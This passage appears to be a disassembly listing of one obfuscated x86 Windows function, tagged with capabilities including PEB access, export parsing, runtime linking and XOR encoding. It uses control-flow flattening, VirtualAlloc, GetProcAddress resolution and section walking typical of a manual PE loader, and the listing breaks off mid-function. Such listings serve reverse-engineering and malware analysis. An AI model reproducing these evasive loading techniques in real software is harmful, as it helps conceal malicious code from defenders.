Function at 0x4025f0
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get number of processors
Link function at runtime on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b4
mov eax, dword [0x47f2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4813d0]
mov ecx, dword [0x4813cc]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
mov eax, 0xf0c82def
sete byte [ebp - 0x79]
cmp ecx, 0xa
setl byte [ebp - 0x7a]
jmp 0x402690
mov eax, dword [ebp - 0x24]
mov esi, 0x10832485
mov edi, 0xbde75c4
mov eax, dword [eax]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, dword [0x4813d0]
setne byte [ebp - 0x86]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xbde75c4
sete al
cmove ecx, esi
cmp dword [0x4813cc], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, esi
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0xa777932
jg 0x402730
cmp eax, 0xcdeff2da
jg 0x4027d0
cmp eax, 0xaa05db68
jg 0x4028bb
cmp eax, 0x94e17c8e
jle 0x402a88
cmp eax, 0xa0e3e312
jg 0x402d76
cmp eax, 0x9c82ea2a
jg 0x403302
cmp eax, 0x98478ce9
jle 0x403d96
cmp eax, 0x98478cea
je 0x404cf6
cmp eax, 0x9abc2242
je 0x404d00
cmp eax, 0x9b5dc3ed
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xdd406b7f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb89e58d7
jmp 0x40522c
cmp eax, 0x49404c69
jle 0x402850
cmp eax, 0x62754526
jg 0x40295a
cmp eax, 0x576d4bae
jle 0x402ae0
cmp eax, 0x5e6a71e8
jg 0x402db7
cmp eax, 0x58d4d555
jg 0x403361
cmp eax, 0x5799ed12
jle 0x403df4
cmp eax, 0x5799ed13
je 0x404d10
cmp eax, 0x582ec40f
je 0x404d68
cmp eax, 0x5857789a
jne 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov esi, 0x76856233
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x33f8a1bc
jmp 0x405fe6
cmp eax, 0xe95903db
jg 0x4029b1
cmp eax, 0xdd406b7e
jle 0x402b49
cmp eax, 0xe34ca159
jg 0x402e17
cmp eax, 0xdf2dd17b
jg 0x4033c7
cmp eax, 0xdd6f617f
jle 0x403e31
cmp eax, 0xdd6f6180
je 0x404d7e
cmp eax, 0xde99f42b
je 0x404d91
cmp eax, 0xdea83ac0
jne 0x402690
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x3c]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov dword [eax], 0
mov eax, 0xe4e675de
jmp 0x402690
cmp eax, 0x2239fc98
jle 0x402a31
cmp eax, 0x317eeddc
jle 0x402b9b
cmp eax, 0x3ae673c0
jg 0x402e63
cmp eax, 0x36ca31ac
jg 0x403406
cmp eax, 0x33f8a1bb
jle 0x403e51
cmp eax, 0x33f8a1bc
je 0x404da7
cmp eax, 0x3405d2d7
je 0x404db4
cmp eax, 0x35f7d359
jne 0x402690
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0xf518385
jmp 0x402690
cmp eax, 0xb8cc281e
jle 0x402bed
cmp eax, 0xbf2fabdd
jg 0x402ea7
cmp eax, 0xbaf3561b
jg 0x403469
cmp eax, 0xba5661ba
jle 0x403e87
cmp eax, 0xba5661bb
je 0x404df2
cmp eax, 0xba6d4c24
je 0x404eef
cmp eax, 0xbaafedf2
jne 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x38f8d40
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x8bf3aa6c
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
cmp dword [ebp - 0x110], 0
mov eax, ecx
setne byte [ebp - 0x87]
jmp 0x402690
cmp eax, 0x704db5e4
jle 0x402c52
cmp eax, 0x77226517
jg 0x402f18
cmp eax, 0x74a1a169
jg 0x4034bf
cmp eax, 0x72425a08
jle 0x403ee6
cmp eax, 0x72425a09
je 0x404ef9
cmp eax, 0x7339fd39
je 0x404f03
cmp eax, 0x744540e3
jne 0x402690
mov eax, 0x1b91469d
jmp 0x402690
cmp eax, 0xf70f963f
jle 0x402ca1
cmp eax, 0xe05c3d
jg 0x402f59
cmp eax, 0xfbe2db5e
jg 0x403504
cmp eax, 0xf8cf1ece
jle 0x403f1a
cmp eax, 0xf8cf1ecf
je 0x404f0d
cmp eax, 0xf97acc63
je 0x404f17
cmp eax, 0xfbcfa6b5
jne 0x402690
push dword [ebp - 0xdc]
push dword [ebp - 0x1a4]
push dword [ebp - 0x1a8]
push dword [ebp - 0x1ac]
vzeroupper
call fcn.004022d0
add esp, 0x10
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
mov eax, 0xf70f9640
jmp 0x402690
cmp eax, 0x11ac71b1
jle 0x402d24
cmp eax, 0x1a58a9d5
jg 0x402f9a
cmp eax, 0x17344f7f
jg 0x403558
cmp eax, 0x143b4c2e
jle 0x403f3d
cmp eax, 0x143b4c2f
je 0x404f3e
cmp eax, 0x14a65319
je 0x404f53
cmp eax, 0x16806380
jne 0x402690
mov eax, 0x606e3463
jmp 0x402690
cmp eax, 0x8724ba0a
jle 0x402fde
cmp eax, 0x8bf3aa6b
jg 0x4035ac
cmp eax, 0x88225833
jle 0x403f73
cmp eax, 0x88225834
je 0x404f79
cmp eax, 0x89fc760d
je 0x404fa0
cmp eax, 0x8a7654e5
jne 0x402690
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, 0xd57ae30e
jmp 0x402690
cmp eax, 0x5227a584
jle 0x40306f
cmp eax, 0x5597fcde
jg 0x4035f3
cmp eax, 0x53599ecc
jle 0x403f93
cmp eax, 0x53599ecd
je 0x404fb8
cmp eax, 0x543ae945
je 0x404fd1
cmp eax, 0x546aa7fd
jne 0x402690
mov eax, dword [ebp - 0x194]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x578a297f
jmp 0x4045ff
cmp eax, 0xd26ed787
jle 0x4030ee
cmp eax, 0xd56a4ed1
jg 0x403629
cmp eax, 0xd4690e89
jle 0x403fd0
cmp eax, 0xd4690e8a
je 0x404fec
cmp eax, 0xd4b367f5
je 0x404ff6
cmp eax, 0xd4e94f1b
jne 0x402690
mov eax, dword [ebp - 0xec]
mov eax, 0xb0bb3b25
jmp 0x402690
cmp eax, 0x28185409
jle 0x40312f
cmp eax, 0x2ac9f9db
jg 0x40365f
cmp eax, 0x298839db
jle 0x403ff0
cmp eax, 0x298839dc
je 0x405000
cmp eax, 0x29b67986
je 0x40505f
cmp eax, 0x2a251e1b
jne 0x402690
mov eax, dword [ebp - 0xd8]
mov eax, 0x205caa8a
jmp 0x402690
cmp eax, 0xaf2c2b19
jle 0x40318b
cmp eax, 0xb6e81508
jg 0x403764
cmp eax, 0xb1358b97
jle 0x404021
cmp eax, 0xb1358b98
je 0x405074
cmp eax, 0xb1449fa2
je 0x405096
cmp eax, 0xb4c27c43
jne 0x402690
mov eax, dword [ebp - 0x44]
push dword [ebp - 0x108]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, 0x1cfc6fe9
jmp 0x402690
cmp eax, 0x68ef2620
jle 0x4031e9
cmp eax, 0x6a898529
jg 0x4037b6
cmp eax, 0x6a1c1423
jle 0x404088
cmp eax, 0x6a1c1424
je 0x4050d4
cmp eax, 0x6a212388
je 0x4050e9
cmp eax, 0x6a65cd90
jne 0x402690
mov eax, dword [ebp - 0x78]
mov eax, 0x2ce5ae4e
jmp 0x402690
cmp eax, 0xefd6c19f
jle 0x40323b
cmp eax, 0xf44c4682
jg 0x403824
cmp eax, 0xf297486c
jle 0x4040cb
cmp eax, 0xf297486d
je 0x4050f3
cmp eax, 0xf30c0937
je 0x405106
cmp eax, 0xf3de3e10
jne 0x402690
mov eax, dword [ebp - 0x1c]
mov ebx, 0xd91f24a0
mov edi, 0x77226518
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x77226518
jmp 0x406018
cmp eax, 0xd90b068
jle 0x40327f
cmp eax, 0xf518384
jg 0x403865
cmp eax, 0xe6686ab
jle 0x40410b
cmp eax, 0xe6686ac
je 0x405110
cmp eax, 0xe7a056c
je 0x405143
cmp eax, 0xef76426
jne 0x402690
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov eax, 0xede2b544
jmp 0x402690
cmp eax, 0xa6042956
jg 0x4038cf
cmp eax, 0xa14b3a4a
jle 0x404154
cmp eax, 0xa14b3a4b
je 0x405159
cmp eax, 0xa1e5464f
je 0x40516c
cmp eax, 0xa3f8b977
jne 0x402690
mov eax, 0xf9d4367
jmp 0x402690
cmp eax, 0x6072d3a0
jg 0x403943
cmp eax, 0x5fdf9893
jle 0x404189
cmp eax, 0x5fdf9894
je 0x405176
cmp eax, 0x600ec38a
je 0x405180
cmp eax, 0x606e3463
jne 0x402690
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
add eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0x12c8c48d
jmp 0x402690
cmp eax, 0xe5647ee4
jg 0x403985
cmp eax, 0xe465e5f7
jle 0x4041d6
cmp eax, 0xe465e5f8
je 0x4051c6
cmp eax, 0xe4bcf613
je 0x4051d0
cmp eax, 0xe4e675de
jne 0x402690
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0x2551dd96
jmp 0x402690
cmp eax, 0x428cc3c5
jg 0x4039c4
cmp eax, 0x3d9bb287
jle 0x4041f6
cmp eax, 0x3d9bb288
je 0x40523b
cmp eax, 0x3dc7142f
je 0x405245
cmp eax, 0x41952252
jne 0x402690
mov eax, dword [ebp - 0x64]
mov eax, 0x17344f80
jmp 0x402690
cmp eax, 0xc36f92a8
jg 0x403a05
cmp eax, 0xc0f14835
jle 0x404232
cmp eax, 0xc0f14836
je 0x40525d
cmp eax, 0xc0fd0ea1
je 0x4052ca
cmp eax, 0xc19aa4a4
jne 0x402690
push 4
push 0x3000
push dword [ebp - 0x114]
push dword [ebp - 0xe0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, 0xf4d10905
mov eax, dword [ebp - 0x60]
cmp dword [eax + 4], 0
mov eax, 0x205caa8a
cmove eax, ecx
jmp 0x402690
cmp eax, 0x7964aacf
jg 0x403a4f
cmp eax, 0x783102a7
jle 0x40427a
cmp eax, 0x783102a8
je 0x405311
cmp eax, 0x7841e414
je 0x405327
cmp eax, 0x78993e1c
jne 0x402690
mov eax, 0x6a1c1424
jmp 0x402690
cmp eax, 0x38f8d3f
jg 0x403ac4
cmp eax, 0x322efc2
jle 0x4042af
cmp eax, 0x322efc3
je 0x40534d
cmp eax, 0x326e4cd
je 0x40537f
cmp eax, 0x37fcc64
jne 0x402690
mov eax, 0x9abc2242
jmp 0x402690
cmp eax, 0x1e6e1495
jg 0x403b24
cmp eax, 0x1b91469c
jle 0x40431a
cmp eax, 0x1b91469d
je 0x4053de
cmp eax, 0x1cfc6fe9
je 0x405407
cmp eax, 0x1d888336
jne 0x402690
mov eax, dword [ebp - 0x24]
mov eax, 0xe34ca15a
jmp 0x402690
cmp eax, 0x83769102
jle 0x403b68
cmp eax, 0x85db1b98
jle 0x404363
cmp eax, 0x85db1b99
je 0x405446
cmp eax, 0x8669039d
je 0x405450
cmp eax, 0x86afd6de
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xb806d16a
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xced1b7a9
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x50]
cmovge eax, edi
mov ecx, dword [ecx]
mov dword [ebp - 0x140], ecx
mov ecx, dword [ebp - 0x60]
add ecx, 4
mov dword [ebp - 0x144], ecx
jmp 0x402690
cmp eax, 0x4b63fa9e
jle 0x403bc6
cmp eax, 0x4d8132e5
jle 0x404383
cmp eax, 0x4d8132e6
je 0x405484
cmp eax, 0x51383dff
je 0x4054a1
cmp eax, 0x52006b7d
jne 0x402690
mov eax, dword [ebp - 0x2c]
mov esi, 0xd07c3d55
mov dword [eax], 7
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5597fcdf
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
jmp 0x40598f
cmp eax, 0xcff8247b
jle 0x403c0d
cmp eax, 0xd0abf5c3
jle 0x40440f
cmp eax, 0xd0abf5c4
je 0x4054ab
cmp eax, 0xd104ceee
je 0x4054d1
cmp eax, 0xd1349b9d
jne 0x402690
mov eax, 0x28f30e48
jmp 0x402690
cmp eax, 0x24a8122b
jle 0x403c67
cmp eax, 0x255b9d77
jle 0x40442f
cmp eax, 0x255b9d78
je 0x4054ea
cmp eax, 0x25a20148
je 0x405536
cmp eax, 0x26c2aa7e
jne 0x402690
mov eax, dword [ebp - 0xbc]
mov eax, dword [0x4813d0]
mov ebx, 0xada9f58
mov edi, 0xf7c99816
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xf7c99816
jmp 0x406010
cmp eax, 0xac840c76
jle 0x403ca4
cmp eax, 0xad61ee8d
jle 0x40445d
cmp eax, 0xad61ee8e
je 0x40554e
cmp eax, 0xad7779a5
je 0x405582
cmp eax, 0xae1b003a
jne 0x402690
mov eax, dword [0x4813d0]
mov edi, 0x255b9d78
mov ebx, 0xf44c4683
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf44c4683
jmp 0x4064e1
cmp eax, 0x65174c66
jle 0x403ccf
cmp eax, 0x667de60b
jle 0x404499
cmp eax, 0x667de60c
je 0x40562e
cmp eax, 0x67048889
je 0x405638
cmp eax, 0x6757f1fb
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x4f17a9f
mov esi, 0x2239fc99
jmp 0x405e9d
cmp eax, 0xecb82f9e
jle 0x403cfa
cmp eax, 0xede2b543
jle 0x4044d6
cmp eax, 0xede2b544
je 0x405648
cmp eax, 0xee4c7808
je 0x405682
cmp eax, 0xef6f3dd2
jne 0x402690
mov eax, dword [ebp - 0x3c]
mov eax, 0xc02cba6
jmp 0x402690
cmp eax, 0xbde75c3
jle 0x403d25
cmp eax, 0xcd66ca7
jle 0x4044ff
cmp eax, 0xcd66ca8
je 0x4056b6
cmp eax, 0xd5629ab
je 0x4056f4
cmp eax, 0xd8a31db
jne 0x402690
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov ecx, dword [ebp - 0x44]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, 0x36e098df
jmp 0x402690
cmp eax, 0x9f7bbf66
jle 0x404572
cmp eax, 0x9f7bbf67
je 0x40573c
cmp eax, 0x9ff75993
je 0x405746
cmp eax, 0xa0666f3a
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x5597fcdf
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x52006b7d
jmp 0x40522c
cmp eax, 0x5aafd2f6
jle 0x40459d
cmp eax, 0x5aafd2f7
je 0x405759
cmp eax, 0x5dd937bb
je 0x40576f
cmp eax, 0x5e4b13d6
jne 0x402690
mov eax, dword [0x4813d0]
mov edi, 0x56a01bc5
mov esi, 0x3d9bb288
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3d9bb288
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4813cc], 0xa
setl dl
cmovge eax, esi
jmp 0x406298
cmp eax, 0xdffb2242
jle 0x4045dd
cmp eax, 0xdffb2243
je 0x405799
cmp eax, 0xe1518ad5
je 0x4057a6
cmp eax, 0xe1897746
jne 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, 0xd26ed788
jmp 0x402690
cmp eax, 0x3789f3f4
jle 0x40460c
cmp eax, 0x3789f3f5
je 0x4057be
cmp eax, 0x39e51aca
je 0x405809
cmp eax, 0x3a28aa78
jne 0x402690
mov eax, dword [ebp - 0xd0]
mov edi, 0xa712bc48
mov esi, 0x7eedba16
add eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
jmp 0x405ca9
cmp eax, 0xbd0bfae0
jle 0x4046b4
cmp eax, 0xbd0bfae1
je 0x405823
cmp eax, 0xbd6de361
je 0x405852
cmp eax, 0xbe221592
jne 0x402690
mov eax, dword [ebp - 0x64]
mov eax, dword [0x4813d0]
mov edi, 0x7fa0a827
mov ebx, 0xf297486d
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf297486d
jmp 0x4064e1
cmp eax, 0x765cff99
jle 0x4046e9
cmp eax, 0x765cff9a
je 0x40586b
cmp eax, 0x76856233
je 0x405892
cmp eax, 0x76e18f12
jne 0x402690
mov eax, dword [ebp - 0x60]
mov ecx, 0xe1518ad5
cmp dword [eax + 4], 0
mov eax, 0x48813dd3
cmove eax, ecx
jmp 0x402690
cmp eax, 0xfea7102c
jle 0x40471b
cmp eax, 0xfea7102d
je 0x4058cb
cmp eax, 0xfef0e058
je 0x4058fa
cmp eax, 0xffb26980
jne 0x402690
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ecx], eax
mov eax, 0xcd66ca8
jmp 0x402690
cmp eax, 0x185854e6
jle 0x404746
cmp eax, 0x185854e7
je 0x405920
cmp eax, 0x19184d13
je 0x405939
cmp eax, 0x1a2ee907
jne 0x402690
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x94]
mov eax, 0x2818540a
jmp 0x402690
cmp eax, 0x9095178a
jle 0x404769
cmp eax, 0x9095178b
je 0x405955
cmp eax, 0x90954d70
je 0x40599a
cmp eax, 0x92141e0a
jne 0x402690
mov eax, dword [ebp - 0x17c]
mov ecx, 0x4b508fd6
cmp dword [eax], 0
mov eax, 0xc0fd0ea1
cmove eax, ecx
jmp 0x402690
cmp eax, 0x57394921
jle 0x404789
cmp eax, 0x57394922
je 0x4059d2
cmp eax, 0x5747fe6b
je 0x405a00
cmp eax, 0x574b83c6
jne 0x402690
mov eax, 0x96d117f8
jmp 0x402690
cmp eax, 0xd91f249f
jle 0x4047ba
cmp eax, 0xd91f24a0
je 0x405a13
cmp eax, 0xdb1e3b38
je 0x405a1d
cmp eax, 0xdd278b34
jne 0x402690
mov eax, 0x70c9fcc2
jmp 0x402690
cmp eax, 0x2ce5ae4d
jle 0x4047e5
cmp eax, 0x2ce5ae4e
je 0x405a27
cmp eax, 0x2d403c47
je 0x405a59
cmp eax, 0x2e76327c
jne 0x402690
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
mov eax, 0x1b600
call fcn.0043a940
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x94], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x8c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov edi, dword [0x4813d0]
mov edx, dword [0x4813cc]
mov esi, 0x3ae673c1
mov ecx, esp
mov dword [ebp - 0x3c], ecx
lea eax, [edi + 1]
imul eax, edi
mov edi, eax
xor edi, 0xfffffffe
test edi, eax
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0xaad926e0
cmovne ebx, esi
test edi, eax
mov eax, ebx
cmove eax, esi
cmp edx, 0xa
cmovge eax, ebx
jmp 0x402690
cmp eax, 0xb806d169
jle 0x40480c
cmp eax, 0xb806d16a
je 0x405a8c
cmp eax, 0xb85d7370
je 0x405a9c
cmp eax, 0xb89e58d7
jne 0x402690
mov eax, dword [0x4813d0]
mov ebx, 0x582ec40f
mov edi, 0xdd406b7f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xdd406b7f
jmp 0x406018
cmp eax, 0x6cbbafbc
jle 0x404853
cmp eax, 0x6cbbafbd
je 0x405ad2
cmp eax, 0x6d8ccc52
je 0x405b1d
cmp eax, 0x6edac56a
jne 0x402690
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0xf4], eax
mov eax, 0x767db08
jmp 0x402690
cmp eax, 0xf49aef2a
jle 0x40487c
cmp eax, 0xf49aef2b
je 0x405b36
cmp eax, 0xf4d10905
je 0x405b5c
cmp eax, 0xf4ef4c1e
jne 0x402690
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0xe5b2d02e
jmp 0x402690
cmp eax, 0xfd5c9d5
jle 0x40489c
cmp eax, 0xfd5c9d6
je 0x405b7f
cmp eax, 0x10832485
je 0x405b9c
cmp eax, 0x10aece1b
jne 0x402690
mov eax, dword [ebp - 0x20]
mov edi, 0xd104ceee
mov ebx, 0xed2f029e
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x10c]
cmp ecx, eax
mov eax, dword [0x4813d0]
setl byte [ebp - 0x83]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xed2f029e
jmp 0x4064e1
cmp eax, 0xa8231c71
jle 0x404921
cmp eax, 0xa8231c72
je 0x405ba6
cmp eax, 0xa9433869
je 0x405c00
cmp eax, 0xa9e13648
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x576d4baf
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa1e5464f
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x50]
cmovge eax, edx
jmp 0x402690
cmp eax, 0x60f6ba87
jle 0x40497c
cmp eax, 0x60f6ba88
je 0x405c27
cmp eax, 0x60f9b8f4
je 0x405c4d
cmp eax, 0x610daf9e
jne 0x402690
mov eax, dword [ebp - 0xd4]
mov dword [eax], 1
mov eax, 0xe1897746
jmp 0x402690
cmp eax, 0xe77f7f6d
jle 0x4049c4
cmp eax, 0xe77f7f6e
je 0x405c57
cmp eax, 0xe8c91c09
je 0x405c8a
cmp eax, 0xe91b3f75
jne 0x402690
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x40
mov eax, 0x574b83c6
jmp 0x402690
cmp eax, 0x45f8b853
jle 0x4049f0
cmp eax, 0x45f8b854
je 0x405c94
cmp eax, 0x48813dd3
je 0x405cd0
cmp eax, 0x48c85e10
jne 0x402690
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, 0xe95903dc
jmp 0x402690
cmp eax, 0xc590f9fa
jle 0x404a23
cmp eax, 0xc590f9fb
je 0x405ce4
cmp eax, 0xc6e18dc4
je 0x405cee
cmp eax, 0xcb25718e
jne 0x402690
mov eax, dword [ebp - 0x14c]
mov ecx, 0x8724ba0b
cmp eax, dword [ebp - 0x150]
mov eax, 0xa0666f3a
cmovl eax, ecx
jmp 0x402690
cmp eax, 0x7a91333e
jle 0x404a52
cmp eax, 0x7a91333f
je 0x405cfb
cmp eax, 0x7eedba16
je 0x405d3d
cmp eax, 0x7fa0a827
jne 0x402690
mov eax, dword [ebp - 0x1c]
mov esi, 0xd56a4ed2
mov edi, 0xf297486d
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x4813d0]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf297486d
jmp 0x402668
cmp eax, 0x5f55d7d
jle 0x404a7b
cmp eax, 0x5f55d7e
je 0x405d47
cmp eax, 0x674d0b1
je 0x405d63
cmp eax, 0x767db08
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x60a5e315
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xac679ad4
jmp 0x405984
cmp eax, 0x21557acb
jle 0x404aa1
cmp eax, 0x215d1983
je 0x405d6d
cmp eax, 0x221223e3
jne 0x4065e1
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x134], eax
mov eax, 0x89fc760d
jmp 0x402690
cmp eax, 0x81d86639
jg 0x404add
cmp eax, 0x8102b510
je 0x405d77
cmp eax, 0x81a838d3
jne 0x402690
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xfc]
mov edi, 0x143b4c2f
mov dword [eax], ecx
mov edx, dword [0x4813d0]
